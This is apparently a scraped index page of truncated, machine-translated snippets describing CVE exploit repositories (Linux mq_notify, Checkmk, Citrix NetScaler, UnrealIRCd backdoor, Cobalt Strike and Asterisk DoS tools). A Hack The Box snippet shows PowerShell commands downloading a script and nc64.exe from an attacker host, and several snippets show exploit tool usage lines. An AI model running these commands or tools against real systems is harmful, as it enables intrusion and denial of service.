cve-2017-11176

cve-2017-11176 Публичная информация Функция mqnotify в ядре Linux до версии 4.11.9 не устанавливает указатель sock в NULL при входе в логику повторных попыток. При закрытии Netlink-сокета из пользовательского пространства это позволяет злоумышленникам вызвать отказ в обслуживании use-after-free...

jsonorg-tp1

json.org CVE-2022-45688 vrai positif Le projet illustre CVE-2022-45688 dans json.org -- il y a une application simple XML2JSONConverter pour lire du XML depuis l'entrée, le convertir en JSON et l'afficher joliment formaté sur la console. En utilisant une entrée malveillante, l'application plante...

CVE-2024-42861

CVE-2024-42861 Атака типа «отказ в обслуживании» на стандарт IEEE 802.1AS протокол gPTP CVE ID CVE-2024-42861 ПРОДУКТ Стандарт IEEE 802.1AS ВЕРСИЯ IEEE 802.1AS-2020, IEEE 802.1AS-2010 ПРОБЛЕМА Атака типа «отказ в обслуживании» ОПИСАНИЕ Когда порт устройства с активированным IEEE 802.1AS получает...

CVE-2026-19745

Введение Всем привет, ещё в мае я нашёл неплохие уязвимости в своём роутере, и сегодня я наконец могу всем о них рассказать! Обе уязвимости в этом репозитории — это аутентифицированные уязвимости типа «отказ в обслуживании» Denial of Service! Я не знаю точных технических деталей того, как и почем...

-CVE-2021-41962

-CVE-2021-41962 Описание Уязвимость межсайтового скриптования XSS существует в Sourcecodester Vehicle Service Management System 1.0 через параметр Owner fullname при отправке запроса на обслуживание в vehicleservice. Дополнительная информация Н/Д Тип уязвимости Межсайтовое скриптование XSS...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452

watchTowr-vs-Citrix-Netscaler-PreAuth-RCE Генератор детектирующих артефактов для Citrix NetScaler CVE-2026-8452 Технические подробности см. в нашем посте в блоге. Детектирование в действии root@kitploit: python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/ / | |...

CVE-2022-31901

CVE-2022-31901 Déni de service DoS dans Notepad++x86 dans 8.4.3 et antérieur. Description Déclenchement de la vulnérabilité, via l'ouverture de deux fichiers texte spécialement conçus ex. first.txt & second.txt en entrée dans notepad++. À titre d'exemple illustratif ci-dessous, au 11/07/2022, la...

CVE-2024-13800

CVE-2024-13800 Popup Plugin For WordPress — ConvertPlus = 3.5.30 — Отсутствие авторизации для аутентифицированных Подписчик+ ограниченная возможность обновления опций Описание Плагин ConvertPlus для WordPress уязвим к несанкционированной модификации данных, что может привести к отказу в...

CobaltStrikeDos

Une vulnérabilité de déni de service DoS CVE-2021-36798 a été trouvée dans Cobalt Strike. La vulnérabilité a été corrigée dans le cadre de la version 4.4. Plus d'informations peuvent être trouvées ici Utilisation root@kitploit: python3 CobaltStrikeDos.py https://1.1.1.1 root@kitploit: $ python3...

CVE-2024-22526

CVE-2024-22526 Aperçu de la vulnérabilité CVE-2024-22526 Apr 12, 2024 BandiView Vulnérabilité du visualiseur d'images Description de la vulnérabilité Avis Vulnérabilité de débordement de tampon dans BandiView v7.0 de Bandisoft, permettant à des attaquants locaux de provoquer un déni de service Do...

CVE-2022-24713-POC

POC CVE-2022-24713 на Ubuntu Установите текущий пакет rust-regex на Ubuntu. Затем клонируйте этот репозиторий. Затем выполните cargo build. Зависимость regex указывает на папку /usr/share/cargo/registry, поэтому проблем с зависимостями не будет. Если компиляция занимает абсурдно долгое время, это...

gerhart01

gerhart01 CVE-2020-0890 | Vulnérabilité de déni de service Windows Hyper-V - code de preuve de concept...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution Скрипт, эксплуатирующий уязвимость, позволяющую установить бэкдор в сервисе UnrealIRCd с CVE-2010-2075 Использование использование: IRCBackDoorCommandExecution.py -h targethost targetport attackerhost attackerport...

CVE-2023-23752

Joomla! options...

CVE-2024-11467

CVE-2024-11467 macOS 운영 체제는 XPC 서비스를 사용하여 기본적인 프로세스 간 통신을 수행합니다. 예를 들어 XPC Service 데몬과 타사 애플리케이션의 권한 있는 도우미 도구 간 통신이 이에 해당합니다. VMware Horizon Client는 설치 시 /Library/PrivilegedHelperTools/ 디렉토리에 com.vmware.horizon.CDSHelper 권한 있는 도우미를 등록합니다. 또한, 위에 표시된 대로 권한 있는 도우미가 들어오는 XPC 연결을 수신 대기하기 위해 mach 이름...

CVE-2019-11287

CVE-2019-11287: DoS через переполнение кучи в плагине веб-управления RabbitMQ Pivotal RabbitMQ, версии 3.7.x до 3.7.21 и 3.8.x до 3.8.1, а также RabbitMQ для Pivotal Platform, версии 1.16.x до 1.16.7 и 1.17.x до 1.17.4, содержат плагин веб-управления, который уязвим для атаки типа «отказ в...

CVE-2025-29448

CVE-2025-29448 Описание Логическая ошибка бронирования в Easy!Appointments v1.5.1 позволяет неаутентифицированным злоумышленникам создавать встречи с чрезмерно большой длительностью, вызывая отказ в обслуживании путем блокировки всех будущих возможностей бронирования. Шаги для воспроизведения 1...

CVE-2022-21894-Payload-New

Это простой пример полезной нагрузки для CVE-2022-21894, демонстрирующий, как злоумышленник может отобразить полезную нагрузку второй стадии, чтобы получить возможность вызывать службы EFI. Описание этой уязвимости можно посмотреть здесь: https://github.com/Wack0/CVE-2022-21894. Код в этом...

astDoS

astDoS Outil pour exploiter CVE-2018-7284 et CVE-2018-19278 Utilisation Cet outil s'utilise en ligne de commande. root@kitploit: astDoS.py -h -a 1,2 -sA SERVERIP -sP SERVERPORT -u USER -p PASSWD -sub SUBUSER -dA DNSIP -dP DNSPORT -v VERSION DoS attack against Astersisk, CVE-2018-7284 and...